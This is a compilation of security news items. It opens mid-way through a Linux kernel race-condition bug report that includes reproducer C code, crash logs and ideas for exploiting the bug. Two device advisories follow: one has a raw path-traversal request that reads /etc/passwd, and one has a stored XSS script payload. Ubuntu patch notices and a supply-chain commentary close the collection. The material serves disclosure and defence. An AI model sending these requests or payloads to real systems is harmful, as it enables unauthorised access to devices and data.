SCHED_IDLE, &param));      /* race (outer side, will be preempted) */      SYSCHK(mremap((void*)0x200000, 0x200000, 0x200000, MREMAP_MAYMOVE|MREMAP_FIXED, (void*)0x40000000));      return 0;    }    for (int i=0; i<512; i++)      ((volatile char *)ptr)[0x1000*i] = 'a';    usleep(10);    /* race (inner side, will preempt after timer and voluntary resched) */    int madv_res = madvise(ptr, 0x200000, MADV_COLLAPSE);    if (madv_res == -1)      fprintf(stderr, "_");    int wstatus;    SYSCHK(waitpid(child, &wstatus, 0));    SYSCHK(munmap(ptr, 0x200000));    fprintf(stderr, ".");  }}Usage:user@vm:~/collapse-vs-mremap$ gcc -o collapse-vs-mremap-2-noassist collapse-vs-mremap-2-noassist.cuser@vm:~/collapse-vs-mremap$ ./collapse-vs-mremap-2-noassist.................................................................................................................................Result on Linux 6.11 in a QEMU VM, where a bunch of non-zero data is left over in the first 0x1000 bytes of physical memory (note the pmd:00000067):[  120.427189] BUG: Bad page map in process collapse-vs-mre  pte:f000ff53f000ff53 pmd:00000067[  120.428763] addr:0000000040000000 vm_flags:200000fb anon_vma:0000000000000000 mapping:ffff888007dd70f8 index:0[  120.430526] file:a fault:shmem_fault mmap:shmem_mmap read_folio:0x0[  120.431706] CPU: 0 UID: 1000 PID: 1219 Comm: collapse-vs-mre Tainted: G        W          6.11.0 #493[  120.433591] Tainted: [W]=WARN[  120.434201] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014[  120.435849] Call Trace:[  120.436375]  <TASK>[  120.436843]  dump_stack_lvl+0x53/0x70[  120.437570]  print_bad_pte+0x4e6/0x8e0[...][  120.447625]  vm_normal_page+0x1c8/0x260[...][  120.450162]  unmap_page_range+0x914/0x3d10[...][  120.456954]  unmap_vmas+0x1cc/0x390[...][  120.461123]  exit_mmap+0x160/0x6c0[...][  120.465181]  mmput+0xa0/0x3a0[  120.465793]  do_exit+0x7cd/0x27f0[...][  120.472198]  do_group_exit+0xac/0x230[  120.472916]  __x64_sys_exit_group+0x3e/0x50[  120.473722]  x64_sys_call+0x17f3/0x1800[  120.474469]  do_syscall_64+0x4b/0x110[  120.475189]  entry_SYSCALL_64_after_hwframe+0x76/0x7e[...][  120.489560]  </TASK>On other machines where physical page 0 contains only zeroes, the error is different and the kernel complains about the mm's pagetable bytes counter being -4096 on process exit.ImpactReaching this bug requires that you can create shmem/file THP mappings - anonymous THP uses different code that doesn't zap stuff under rmap locks. File THP is gated on an experimental config flag (CONFIG_READ_ONLY_THP_FOR_FS), so on normal distro kernels you need shmem THP to hit this bug. (Some Android kernels set CONFIG_READ_ONLY_THP_FOR_FS=y, but those kernels are older than 6.6, so they're not affected.)As far as I know, getting shmem THP normally requires that you can mount your own tmpfs with the right mount flags, so on normal Linux systems you usually need the ability to create your own user+mount namespace (like my reproducer does).If you trigger this bug in two different processes, or in two different locations in the same process, you should get physical page 0 mapped in two different places. Assuming you know that a certain part of the page contains zeroes, you should be able to get page table entries installed through one of the mappings, and then access those page table entries through the other mapping of the same page table.At that point, I think several bad things can happen that could lead to privilege escalation, though I haven't tested that:    When a PTE is zapped through the page table's first mapping, TLB flushes will only be done for the first mapping, but there can be TLB entries created through the second mapping. So you could probably end up with stale TLB entries pointing to freed pages.    If VMA 1 and VMA 2 share a page table, and you install an anonymous page through VMA 1, and then use mremap() on VMA 2 to move that PTE to another location, and then munmap() VMA 1, you'll end up with an anonymous page that's only mapped into a VMA that is not associated with the page's anon_vma, which leads to kernel UAF. (See https://project-zero.issues.chromium.org/issues/42451486 and https://git.kernel.org/linus/2555283eb40d .)I think the exploitability of this bug depends on whether a struct page has been allocated for physical address 0 - but that seems to be the case at least on the two X86 systems I tested this on.Non-issue 2 (no impact): move_ptes vs MADVISE_COLLAPSEmove_ptes() locks the source and destination page tables as follows:        old_pte = pte_offset_map_lock(mm, old_pmd, old_addr, &old_ptl);        if (!old_pte)                return -EAGAIN;        new_pte = pte_offset_map_nolock(mm, new_pmd, new_addr, &new_ptl);        if (!new_pte) {                pte_unmap_unlock(old_pte, old_ptl);                return -EAGAIN;        }        if (new_ptl != old_ptl)                spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);pte_offset_map_nolock() followed by manually taking the page table lock does not (unlike pte_offset_map_lock()) protect against concurrent removal of the page table via retract_page_tables(); and that can happen when need_rmap_locks is false. So I think that after this block, we can end up with new_pte pointing to a page table that has already been scheduled for RCU-delayed freeing. The good news is that (as far as I understand) this can only happen when all the PTEs in the source page table are pte_none(), so no PTEs will actually be written to the detached destination page table, so nothing bad happens.Non-issue 3 (probably no impact, untested): move_huge_pmd vs split_huge_page_to_list_to_orderThe classic way mremap() used to work is:    We make a new VMA.    We move page table entries into the new VMA with move_page_tables(), creating page tables if necessary. Only page table entries are moved; the old page tables stay where they are.    If a page table allocation fails due to OOM, or if the ->mremap handler returns an error, we use move_page_tables() to move the page table entries back to the old VMA; this is expected to always succeed, since the old page tables still exist, so page table allocation should not happen.As a comment in move_page_tables() explains:/* * On error, move entries back from new area to old, * which will succeed since page tables still there, * and then proceed to unmap new area instead of old. */However, that does not hold in the following scenario, assuming that the architecture does not define HAVE_MOVE_PMD (which permits mremap() to move entire page tables):    move_vma() calls move_page_tables()    move_page_tables() moves an anonymous huge PMD entry.    move_page_tables() tries to move more page table entries, but page table allocation fails, and the function returns early.    Another racing process causes the huge PMD entry to be split via split_huge_page_to_list_to_order() (turning the huge PMD entry into a PMD entry pointing to a page table whose PTEs point to all the subpages).    move_vma() calls move_page_tables() in the reverse direction to move PTEs back.    move_page_tables() unexpectedly needs to allocate a new page table to move the PTEs generated by the huge PMD split, which again fails. PTEs are left behind in the destination area.    do_vmi_munmap() removes the temporary destination VMA and removes the left-behind PTEs in the destination area.So in the end, an anonymous page has erroneously disappeared from the VMA, but I think that doesn't lead to any major consequences.FWIW, the architectures that define HAVE_ARCH_TRANSPARENT_HUGEPAGE without also defining HAVE_MOVE_PMD are: mips, loongarch, s390, sparc64, arc, arm.I think similar things can probably also happen on x86/arm64 if, when moving PTEs back with move_pgt_entry(HPAGE_PMD, ...), we race with a concurrent split_huge_page_to_list_to_order() such that move_huge_pmd() fails at the __pmd_trans_huge_lock() and we fall back to the move_ptes() path.CommentsAll commentsja...@google.com <ja...@google.com> #2Oct 15, 2024 11:05AMThe fix for the security bug is currently in the MM tree at https://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm.git/commit/?id=9118e3ff1212add463770537519dce4aed51cf94 , on the mm-hotfixes-unstable branch.ja...@google.com <ja...@google.com> #3Oct 22, 2024 09:28AMMarked as fixed, reassigned to ja...@google.com.Fix landed as https://git.kernel.org/linus/6fa1066fc5d00cb9f1b0e83b7ff6ef98d26ba2aa ("mm/mremap: fix move_normal_pmd/retract_page_tables race").In stable releases:    6.6.58 (2024-10-22)    6.11.5 (2024-10-22)Related CVE Number: CVE-2024-50066.Credit: Jann Horn

Linux 6.6 Race Condition

Korenix JetPort 5601 version 1.2 suffers from a path traversal vulnerability.

    St. Pölten UAS 20241118-1-------------------------------------------------------------------------------                title| Path Traversal              product| Korenix JetPort 5601   vulnerable version| 1.2        fixed version| -           CVE number| CVE-2024-11303               impact| High             homepage| https://www.korenix.com/                found| 2024-05-24                   by| P. Oberndorfer, B. Tösch, M. Narbeshuber-Spletzer,                     | C. Hierzer, M. Pammer                     | These vulnerabilities were discovery during research at                     | St.Pölten UAS, supported and coordinated by CyberDanube.                     |                     | https://fhstp.ac.at | https://cyberdanube.com-------------------------------------------------------------------------------Vendor description-------------------------------------------------------------------------------"Korenix Technology, a Beijer group company within the Industrial Communicationbusiness area, is a global leading manufacturer providing innovative, market-oriented, value-focused Industrial Wired and Wireless Networking Solutions.With decades of experiences in the industry, we have developed various productlines [...].Our products are mainly applied in SMART industries: Surveillance, Machine-to-Machine, Automation, Remote Monitoring, and Transportation. Worldwide customerbase covers different Sales channels, including end-customers, OEMs, systemintegrators, and brand label partners. [...]"Source: https://www.korenix.com/en/about/index.aspx?kind=3Vulnerable versions-------------------------------------------------------------------------------Korenix JetPort 5601v3 / v1.2Vulnerability overview-------------------------------------------------------------------------------1) Path Traversal (CVE-2024-11303)A path traversal attack for unauthenticated users is possible. This allowsgetting access to the operating system of the device and access informationlike configuration files and connections to other hosts or potentially othersensitive information.Proof of Concept-------------------------------------------------------------------------------1) Path Traversal (CVE-2024-11303)By sending the following request to the following endpoint, a path traversalvulnerability can be triggered:-------------------------------------------------------------------------------GET /%2e%2e/%2e%2e/etc/passwd HTTP/1.1Host: 10.69.10.2Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Te: trailersConnection: keep-alive-------------------------------------------------------------------------------Note, that this is only possible when an interceptor proxy or a command linetool is used. A web browser would encode the characters and the path traversalwould not work.The response to the latter request is shown below:-------------------------------------------------------------------------------HTTP/1.1 200 OKServer: thttpd/2.19-MX Jun  2 2022Content-type: text/plain; charset=iso-8859-1[...]Accept-Ranges: bytesConnection: Keep-AliveContent-length: 86root::0:0:root:/root:/bin/falseadmin:$1$$CoERg7ynjYLsj2j4glJ34.:502:502::/:/bin/true-------------------------------------------------------------------------------The vulnerabilities were manually verified on an emulated device by using theMEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).Solution-------------------------------------------------------------------------------None. Device is End-of-Life.Workaround-------------------------------------------------------------------------------Limit the access to the device and place it within a segmented network.Recommendation-------------------------------------------------------------------------------CyberDanube recommends Korenix customers to upgrade to another device.Contact Timeline-------------------------------------------------------------------------------2024-09-23: Contacting Beijer Electronics Group via cs@beijerelectronics.com.2024-09-24: Vendor stated, that the device is end-of-life. Contact will ask the            engineering team if there are any changes.2024-10-15: Vendor stated, that the advisory can be published. No further            updates are planned for this device.2024-11-18: Coordinated disclosure of advisory.Web: https://www.fhstp.ac.at/Twitter: https://x.com/fh_stpoeltenMail: mis@fhstp.ac.atEOF T. Weber / @2024

Korenix JetPort 5601 1.2 Path Traversal

SEH utnservyer Pro version 20.1.22 suffers from multiple persistent cross site scripting vulnerabilities.

    St. Pölten UAS 20241118-0-------------------------------------------------------------------------------                title| Multiple Stored Cross-Site Scripting              product| SEH utnserver Pro   vulnerable version| 20.1.22        fixed version| 20.1.35           CVE number| CVE-2024-11304               impact| High             homepage| https://www.seh-technology.com/                found| 2024-05-24                   by| P. Riedl, J. Springer, P. Chistè, D. Sagl, S. Vogt                     | These vulnerabilities were discovery during research at                     | St.Pölten UAS, supported and coordinated by CyberDanube.                     |                     | https://fhstp.ac.at | https://cyberdanube.com-------------------------------------------------------------------------------Vendor description-------------------------------------------------------------------------------"We are SEH from Bielefeld - manufacturer of high-quality network solutions.With over 35 years of experience in the fields of printing and networks, weoffer our customers a broad and high-level expertise in solutions for all typesof business environments."Source: https://www.seh-technology.com/us/company/about-us.htmlVulnerable versions-------------------------------------------------------------------------------utnserver Pro / 20.1.22utnserver ProMAX / 20.1.22INU-100 / 20.1.22Vulnerability overview-------------------------------------------------------------------------------1) Multiple Stored Cross-Site Scripting (CVE-2024-11304)Different settings on the web interface of the device can be abused to storeJavaScript code and execute it in the context of a user's browser.Proof of Concept-------------------------------------------------------------------------------1) Multiple Stored Cross-Site Scripting (CVE-2024-11304)The following snippet can be used to demonstrate, that stored cross-sitescripting is possible in multiple locations on the device:"><script>alert(document.location)</script>Examples are: * Users password: "usrMg_pwd"   This can be displayed in cleartext and executed in the device configuration. * Certificate options: "Common name", "Organization name", "Locality name"   This can be executed in the certificate information. * Device description: "Host name", "Contact person", "Description"   This can be executed in "Device -> Description". * USB password via uploading a crafted "_parameters.txt" file: "usbMdg_pwd"   This can be executed in the "Maintenance -> Content View" tab.Saving this text to the device description leads to a persistent cross-sitescripting. Therefore, everyone who openes the device description executes theinjected code in the context of the own browser.The vulnerabilities were manually verified on an emulated device by using theMEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).Solution-------------------------------------------------------------------------------Install firmware version 20.1.35 to fix the vulnerabilities.Workaround-------------------------------------------------------------------------------NoneRecommendation-------------------------------------------------------------------------------CyberDanube recommends SEH Computertechnik customers to upgrade the firmware tothe latest version available.Contact Timeline-------------------------------------------------------------------------------2024-09-23: Contacting SEH Computertechnik and sent advisory to support.            Support answered, that vulnerabilities are fixed in version            20.1.35.2024-10-21: Closed the issue and scheduled publication for November.2024-11-18: Coordinated disclosure of advisory.Web: https://www.fhstp.ac.at/Twitter: https://x.com/fh_stpoeltenMail: mis@fhstp.ac.atEOF T. Weber / @2024

SEH utnserver Pro 20.1.22 Cross Site Scripting

Ubuntu Security Notice 7015-6 - USN-7015-5 fixed vulnerabilities in python2.7. The update introduced several minor regressions. This update fixes the problem. It was discovered that the Python email module incorrectly parsed email addresses that contain special characters. A remote attacker could possibly use this issue to bypass certain protection mechanisms. It was discovered that Python allowed excessive backtracking while parsing certain tarfile headers. A remote attacker could possibly use this issue to cause Python to consume resources, leading to a denial of service. It was discovered that the Python email module incorrectly quoted newlines for email headers. A remote attacker could possibly use this issue to perform header injection. It was discovered that the Python http.cookies module incorrectly handled parsing cookies that contained backslashes for quoted characters. A remote attacker could possibly use this issue to cause Python to consume resources, leading to a denial of service. It was discovered that the Python zipfile module incorrectly handled certain malformed zip files. A remote attacker could possibly use this issue to cause Python to stop responding, resulting in a denial of service.

==========================================================================  
Ubuntu Security Notice USN-7015-6  
November 22, 2024

python2.7 regresssions  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 22.04 LTS  
- Ubuntu 20.04 LTS  
- Ubuntu 18.04 LTS  
- Ubuntu 16.04 LTS  
- Ubuntu 14.04 LTS

Summary:

USN-7015-5 caused some regressions in Python.

Software Description:  
- python2.7: An interactive high-level object-oriented language

Details:

USN-7015-5 fixed vulnerabilities in python2.7. The update introduced  
several minor regressions. This update fixes the problem.

We apologize for the inconvenience.

Original advisory details:

 It was discovered that the Python email module incorrectly parsed email  
 addresses that contain special characters. A remote attacker could  
 possibly use this issue to bypass certain protection mechanisms.  
 (CVE-2023-27043)

  It was discovered that Python allowed excessive backtracking while parsing  
 certain tarfile headers. A remote attacker could possibly use this issue  
 to cause Python to consume resources, leading to a denial of service.  
 (CVE-2024-6232)

  It was discovered that the Python email module incorrectly quoted newlines  
 for email headers. A remote attacker could possibly use this issue to  
 perform header injection. (CVE-2024-6923)

  It was discovered that the Python http.cookies module incorrectly handled  
 parsing cookies that contained backslashes for quoted characters. A remote  
 attacker could possibly use this issue to cause Python to consume  
 resources, leading to a denial of service. (CVE-2024-7592)

  It was discovered that the Python zipfile module incorrectly handled  
 certain malformed zip files. A remote attacker could possibly use this  
 issue to cause Python to stop responding, resulting in a denial of  
 service. (CVE-2024-8088)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 22.04 LTS  
  python2.7                       2.7.18-13ubuntu1.4  
  python2.7-minimal               2.7.18-13ubuntu1.4

Ubuntu 20.04 LTS  
  python2.7                       2.7.18-1~20.04.6  
  python2.7-minimal               2.7.18-1~20.04.6

Ubuntu 18.04 LTS  
  python2.7                       2.7.17-1~18.04ubuntu1.13+esm8  
                                  Available with Ubuntu Pro  
  python2.7-minimal               2.7.17-1~18.04ubuntu1.13+esm8  
                                  Available with Ubuntu Pro

Ubuntu 16.04 LTS  
  python2.7                       2.7.12-1ubuntu0~16.04.18+esm13  
                                  Available with Ubuntu Pro  
  python2.7-minimal               2.7.12-1ubuntu0~16.04.18+esm13  
                                  Available with Ubuntu Pro

Ubuntu 14.04 LTS  
  python2.7                       2.7.6-8ubuntu0.6+esm22  
                                  Available with Ubuntu Pro  
  python2.7-minimal               2.7.6-8ubuntu0.6+esm22  
                                  Available with Ubuntu Pro

In general, a standard system update will make all the necessary changes.

References:  
  https://ubuntu.com/security/notices/USN-7015-6  
  https://ubuntu.com/security/notices/USN-7015-5  
  https://ubuntu.com/security/notices/USN-7015-4  
  https://ubuntu.com/security/notices/USN-7015-3  
  https://ubuntu.com/security/notices/USN-7015-2  
  https://ubuntu.com/security/notices/USN-7015-1  
  https://launchpad.net/bugs/2089071

Package Information:  
  https://launchpad.net/ubuntu/+source/python2.7/2.7.18-13ubuntu1.4  
  https://launchpad.net/ubuntu/+source/python2.7/2.7.18-1~20.04.6

Ubuntu Security Notice USN-7015-6

Ubuntu Security Notice 7120-3 - Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system.

==========================================================================  
Ubuntu Security Notice USN-7120-3  
November 21, 2024

linux-lowlatency, linux-lowlatency-hwe-6.8 vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 24.04 LTS  
- Ubuntu 22.04 LTS

Summary:

Several security issues were fixed in the Linux kernel.

Software Description:  
- linux-lowlatency: Linux low latency kernel  
- linux-lowlatency-hwe-6.8: Linux low latency kernel

Details:

Several security issues were discovered in the Linux kernel.  
An attacker could possibly use these to compromise the system.  
This update corrects flaws in the following subsystems:  
  - File systems infrastructure;  
  - Network traffic control;  
(CVE-2024-46800, CVE-2024-43882)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 24.04 LTS  
  linux-image-6.8.0-49-lowlatency  6.8.0-49.49.1  
  linux-image-6.8.0-49-lowlatency-64k  6.8.0-49.49.1  
  linux-image-lowlatency          6.8.0-49.49.1  
  linux-image-lowlatency-64k      6.8.0-49.49.1  
  linux-image-lowlatency-64k-hwe-24.04  6.8.0-49.49.1  
  linux-image-lowlatency-hwe-24.04  6.8.0-49.49.1

Ubuntu 22.04 LTS  
  linux-image-6.8.0-49-lowlatency  6.8.0-49.49.1~22.04.1  
  linux-image-6.8.0-49-lowlatency-64k  6.8.0-49.49.1~22.04.1  
  linux-image-lowlatency-64k-hwe-22.04  6.8.0-49.49.1~22.04.1  
  linux-image-lowlatency-hwe-22.04  6.8.0-49.49.1~22.04.1

After a standard system update you need to reboot your computer to make  
all the necessary changes.

ATTENTION: Due to an unavoidable ABI change the kernel updates have  
been given a new version number, which requires you to recompile and  
reinstall all third party kernel modules you might have installed.  
Unless you manually uninstalled the standard kernel metapackages  
(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,  
linux-powerpc), a standard system upgrade will automatically perform  
this as well.

References:  
  https://ubuntu.com/security/notices/USN-7120-3  
  https://ubuntu.com/security/notices/USN-7120-2  
  https://ubuntu.com/security/notices/USN-7120-1  
  CVE-2024-43882, CVE-2024-46800

Package Information:  
  https://launchpad.net/ubuntu/+source/linux-lowlatency/6.8.0-49.49.1

 https://launchpad.net/ubuntu/+source/linux-lowlatency-hwe-6.8/6.8.0-49.49.1~22.04.1

Ubuntu Security Notice USN-7120-3

Secure by Demand offers a starting point for third-party risk management teams, but they need to take the essential step of using a mature software supply chain security solution to ensure they're not blindly trusting a provider's software.

Saša Zdjelar, Chief Trust Officer, ReversingLabs

November 22, 2024

5 Min Read

Source: Science Photo Library Alamy Stock Photo

COMMENTARY

In late June 2017, maritime giant A.P. Møller – Maersk was hit with a devastating software infection that affected "close to a fifth of the world's shipping capacity." 

As it turned out, the attack was not targeted at Maersk, but spun out of a regional "hot war" between Ukraine and Russia that saw a malware strain named "NotPetya" delivered to customers of a Ukrainian software company, with clients in the Ukraine and the rest of the world. The attack cost the global economy a whopping $10 billion in damages — the world's most costly cyber event to date.  

Seven years later, NotPetya is considered to be one of the most significant cyberattacks of our time. But this was not just a malware attack, but a software supply chain attack that exploited a commercial software update.  

In the years since, software supply chain attacks have taken center stage, with more incidents like NotPetya arising, including supply chain attacks on SolarWinds and the voice-over-IP firm 3CX. Also, Verizon's "2024 Data Breach Investigations Report" (DBIR) found that breaches stemming from third-party software development organizations increased by 68% from 2023. 

In response, the US Cybersecurity and Infrastructure Security Agency (CISA) released Secure by Design guidance in 2023. This move signaled to software producers the need to securely design their products, track and mitigate common vulnerabilities and exposures (CVEs), implement legacy AppSec tools, and enable protocols like multifactor authentication (MFA). But it wasn't until August 2024 that CISA released new Secure by Demand guidance that approaches this problem differently by empowering enterprise buyers to demand safer commercial software products from their suppliers, period.  

Secure by Demand is a good starting point for enterprise buyers looking to raise the bar for the firms that supply them business-critical software. However, it's imperative that these businesses go one step further. Here's why. 

**Software Assurance**

Secure by Demand targets several areas of software assurance: secure software development, vulnerability tracking and patching, authentication and logging, and software transparency. CISA hopes that enterprise consumers will ask commercial software vendors about each of these areas during the procurement process.

While these checks target key parts of software supply chain security, CISA's guidance should include more than a list of questions — not so different from the prevailing form of third-party risk management (TPRM), which relies heavily on questionnaires. Unfortunately, such an approach falls well short of providing genuine software assurance.

Instead, questionnaires leave major gaps in assessments of third-party cyber-risk, in that enterprise consumers will ask smart questions of commercial software vendors but won't possess the appropriate capabilities to verify their answers. That lapse leaves enterprise buyers vulnerable, requiring them to blindly trust the attestations of the mission-critical software products they rely on.  

The same can be said for software bills of materials (SBOMs), which Secure by Demand also recommends to enterprise buyers. SBOMs provide transparency in that they list a piece of software's components, which can include open source, proprietary, and third-party software. However, not listed in an SBOM are the calculated risks associated with third-party and commercial software products.  

Consider this: Neither a detailed SBOM nor a completed vendor security questionnaire would have thwarted the NotPetya attack, as customers were unaware of the existence of a Russian backdoor in the offending software update. So why should enterprise consumers take comfort from SBOMs and questionnaires alone when looking to protect their organizations? 

**Limited View of Supply Chain Risk**

It's true: Some of the checks recommended by CISA in its Secure by Demand guide include the vetting of open source software components used in commercial software products. CISA also calls for end-user organizations to determine how software vendors find, disclose, and patch vulnerabilities in their software. However, software supply chain risks extend well beyond these checks.  

Sophisticated cybercriminal and nation-state groups today are targeting commercial software by compromising build pipelines to insert malicious code, or by uncovering and abusing secrets lurking in application code. This is evident in the fact that the most detrimental software supply chain attacks to date did not occur due to cybercriminals exploiting open source components and vulnerabilities in software. Rather, they targeted commercial software directly, as was the case with NotPetya, 3CX, and more.  

**The Solution? Don't Trust — and Verify**

For enterprise buyers to ensure that the commercial software they are consuming is safe, they will need to independently validate the security of their mission-critical software. Doing so will require more than just asking vendors to answer a list of questions and provide an SBOM. Proper validation requires independently testing and verifying that software is free from malicious components (open source or commercial), critical vulnerabilities, malware, tampering, suspicious behaviors, and more — before, during, or after its deployment. 

Secure by Demand offers a solid starting point for TPRM teams. But they should then take the essential step of using a mature software supply chain security solution — one that provides comprehensive and independent software analysis, to ensure they are not blindly trusting their provider's software. Such a tool should also offer an actionable software risk assessment, which serves as a TPRM team's recipe for success when protecting their organization from such incidents.  

Having this level of control and verifiable evidence will allow enterprise consumers to verify the security and integrity of the mission-critical commercial software they rely on, even in the wake of the latest software supply chain attack. 

**About the Author**

Chief Trust Officer, ReversingLabs

Saša is the chief trust officer (CTrO) at ReversingLabs, and operating partner at Crosspoint Capital, with approximately 20 years of Fortune 10 global executive leadership experience. His CTrO scope includes leadership, oversight and governance of the CISO/CSO function, including product security, as well as partnering with other leaders on corporate and product strategy, strategic partnerships and research, and customer and technology advisory boards, including sponsoring the ReversingLabs CISO Council. Prior to ReversingLabs and Crosspoint Capital, Saša served as the senior vice president of security at Salesforce, where he led a global organization encompassing enterprise security, product security, offensive security, security engineering/automation, bug bounty programs, technical product/program/project management, and mergers and acquisitions. He also played a crucial role as the executive sponsor for strategic corporate security initiatives, such as zero trust.

Tag

#vulnerability